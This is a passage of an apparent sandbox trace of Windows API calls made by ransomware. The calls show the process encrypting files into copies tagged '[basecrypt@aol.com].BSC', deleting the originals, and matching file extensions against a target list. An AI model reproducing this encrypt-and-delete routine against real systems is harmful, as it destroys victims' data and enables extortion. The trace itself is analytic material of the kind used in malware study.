[0103.277] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xf20, lpOverlapped=0x0) returned 1 [0103.278] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.278] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.278] SetEndOfFile (hFile=0x320) returned 1 [0103.278] CloseHandle (hObject=0x320) returned 1 [0103.279] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.279] SetEndOfFile (hFile=0x2e0) returned 1 [0103.280] CloseHandle (hObject=0x2e0) returned 1 [0103.280] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.281] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0103.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.281] lstrlenW (lpString=".doc") returned 4 [0103.281] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.281] lstrlenW (lpString=".docx") returned 5 [0103.281] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.281] lstrlenW (lpString=".pdf") returned 4 [0103.281] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.281] lstrlenW (lpString=".xls") returned 4 [0103.281] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.281] lstrlenW (lpString=".xlsx") returned 5 [0103.281] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.281] lstrlenW (lpString=".ppt") returned 4 [0103.281] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.281] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.281] lstrlenW (lpString=".zip") returned 4 [0103.282] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.282] lstrlenW (lpString=".rar") returned 4 [0103.282] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.282] lstrlenW (lpString=".bz2") returned 4 [0103.282] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.282] lstrlenW (lpString=".7z") returned 3 [0103.282] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.282] lstrlenW (lpString=".dbf") returned 4 [0103.282] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.282] lstrlenW (lpString=".1cd") returned 4 [0103.282] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.282] lstrlenW (lpString=".jpg") returned 4 [0103.282] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.282] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.282] lstrlenW (lpString=".doc") returned 4 [0103.282] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.282] lstrlenW (lpString=".docx") returned 5 [0103.282] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.282] lstrlenW (lpString=".pdf") returned 4 [0103.282] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.282] lstrlenW (lpString=".xls") returned 4 [0103.282] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.283] lstrlenW (lpString=".xlsx") returned 5 [0103.283] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.283] lstrlenW (lpString=".ppt") returned 4 [0103.283] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.283] lstrlenW (lpString=".zip") returned 4 [0103.283] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.283] lstrlenW (lpString=".rar") returned 4 [0103.283] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.283] lstrlenW (lpString=".bz2") returned 4 [0103.283] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.283] lstrlenW (lpString=".7z") returned 3 [0103.283] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.283] lstrlenW (lpString=".dbf") returned 4 [0103.283] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.283] lstrlenW (lpString=".1cd") returned 4 [0103.283] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0103.283] lstrlenW (lpString=".jpg") returned 4 [0103.283] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.284] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.284] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.284] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.284] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=76818) returned 1 [0103.284] CloseHandle (hObject=0x2e0) returned 1 [0103.284] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0103.284] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.284] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.284] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.285] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0103.285] GetLastError () returned 0x0 [0103.285] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x12c12, lpOverlapped=0x0) returned 1 [0103.397] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x12c20, lpOverlapped=0x0) returned 1 [0103.399] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.399] WriteFile (in: hFile=0x320, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.399] SetEndOfFile (hFile=0x320) returned 1 [0103.399] CloseHandle (hObject=0x320) returned 1 [0103.402] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.402] SetEndOfFile (hFile=0x2e0) returned 1 [0103.403] CloseHandle (hObject=0x2e0) returned 1 [0103.403] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.403] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0103.403] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.403] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.403] lstrlenW (lpString=".doc") returned 4 [0103.403] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.403] lstrlenW (lpString=".docx") returned 5 [0103.404] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.404] lstrlenW (lpString=".pdf") returned 4 [0103.404] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.404] lstrlenW (lpString=".xls") returned 4 [0103.404] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.404] lstrlenW (lpString=".xlsx") returned 5 [0103.404] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.404] lstrlenW (lpString=".ppt") returned 4 [0103.404] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.404] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.404] lstrlenW (lpString=".zip") returned 4 [0103.404] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.404] lstrlenW (lpString=".rar") returned 4 [0103.404] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.404] lstrlenW (lpString=".bz2") returned 4 [0103.404] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.404] lstrlenW (lpString=".7z") returned 3 [0103.404] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.404] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.404] lstrlenW (lpString=".dbf") returned 4 [0103.404] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.404] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.404] lstrlenW (lpString=".1cd") returned 4 [0103.404] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.404] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.404] lstrlenW (lpString=".jpg") returned 4 [0103.404] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.405] lstrlenW (lpString=".doc") returned 4 [0103.405] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.405] lstrlenW (lpString=".docx") returned 5 [0103.405] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.405] lstrlenW (lpString=".pdf") returned 4 [0103.405] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.405] lstrlenW (lpString=".xls") returned 4 [0103.405] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.405] lstrlenW (lpString=".xlsx") returned 5 [0103.405] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.405] lstrlenW (lpString=".ppt") returned 4 [0103.405] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.405] lstrlenW (lpString=".zip") returned 4 [0103.405] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.405] lstrlenW (lpString=".rar") returned 4 [0103.405] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.405] lstrlenW (lpString=".bz2") returned 4 [0103.405] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.405] lstrlenW (lpString=".7z") returned 3 [0103.405] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.405] lstrlenW (lpString=".dbf") returned 4 [0103.405] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.405] lstrlenW (lpString=".1cd") returned 4 [0103.405] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0103.405] lstrlenW (lpString=".jpg") returned 4 [0103.406] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.406] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0103.406] lstrlenW (lpString="eula.rtf") returned 8 [0103.406] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0103.616] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=6309) returned 1 [0103.616] CloseHandle (hObject=0x2ec) returned 1 [0103.616] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0103.617] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.617] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0103.617] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.617] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.617] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.617] GetLastError () returned 0x0 [0103.617] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0103.696] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0103.697] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.698] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.698] SetEndOfFile (hFile=0x2e0) returned 1 [0103.698] CloseHandle (hObject=0x2e0) returned 1 [0103.699] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.699] SetEndOfFile (hFile=0x2ec) returned 1 [0103.700] CloseHandle (hObject=0x2ec) returned 1 [0103.700] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.700] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0103.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.701] lstrlenW (lpString=".doc") returned 4 [0103.701] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.701] lstrlenW (lpString=".docx") returned 5 [0103.701] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.701] lstrlenW (lpString=".pdf") returned 4 [0103.701] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.702] lstrlenW (lpString=".xls") returned 4 [0103.702] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.702] lstrlenW (lpString=".xlsx") returned 5 [0103.702] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.702] lstrlenW (lpString=".ppt") returned 4 [0103.702] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.702] lstrlenW (lpString=".zip") returned 4 [0103.702] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.702] lstrlenW (lpString=".rar") returned 4 [0103.702] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.702] lstrlenW (lpString=".bz2") returned 4 [0103.702] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.702] lstrlenW (lpString=".7z") returned 3 [0103.702] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.702] lstrlenW (lpString=".dbf") returned 4 [0103.702] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.703] lstrlenW (lpString=".1cd") returned 4 [0103.703] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.703] lstrlenW (lpString=".jpg") returned 4 [0103.703] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.703] lstrlenW (lpString=".doc") returned 4 [0103.703] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.703] lstrlenW (lpString=".docx") returned 5 [0103.703] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.703] lstrlenW (lpString=".pdf") returned 4 [0103.703] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.703] lstrlenW (lpString=".xls") returned 4 [0103.703] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.703] lstrlenW (lpString=".xlsx") returned 5 [0103.703] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.703] lstrlenW (lpString=".ppt") returned 4 [0103.703] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.703] lstrlenW (lpString=".zip") returned 4 [0103.703] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.703] lstrlenW (lpString=".rar") returned 4 [0103.704] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.704] lstrlenW (lpString=".bz2") returned 4 [0103.704] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.704] lstrlenW (lpString=".7z") returned 3 [0103.704] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.704] lstrlenW (lpString=".dbf") returned 4 [0103.704] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.704] lstrlenW (lpString=".1cd") returned 4 [0103.704] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.704] lstrlenW (lpString=".jpg") returned 4 [0103.704] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.704] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0103.704] lstrlenW (lpString="eula.rtf") returned 8 [0103.704] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0103.705] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=3069) returned 1 [0103.705] CloseHandle (hObject=0x2ec) returned 1 [0103.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0103.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0103.705] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.706] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.706] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0103.706] GetLastError () returned 0x0 [0103.706] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0xbfd, lpOverlapped=0x0) returned 1 [0103.899] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xc00, lpOverlapped=0x0) returned 1 [0103.900] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.900] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.900] SetEndOfFile (hFile=0x2e0) returned 1 [0103.900] CloseHandle (hObject=0x2e0) returned 1 [0103.901] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.901] SetEndOfFile (hFile=0x2ec) returned 1 [0103.902] CloseHandle (hObject=0x2ec) returned 1 [0103.902] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.902] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0103.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.903] lstrlenW (lpString=".doc") returned 4 [0103.903] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.903] lstrlenW (lpString=".docx") returned 5 [0103.903] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.903] lstrlenW (lpString=".pdf") returned 4 [0103.903] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.903] lstrlenW (lpString=".xls") returned 4 [0103.903] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.903] lstrlenW (lpString=".xlsx") returned 5 [0103.903] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.903] lstrlenW (lpString=".ppt") returned 4 [0103.903] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0103.903] lstrlenW (lpString=".zip") returned 4 [0103.903] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.903] lstrlenW (lpString=".rar") returned 4 [0103.903] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.903] lstrlenW 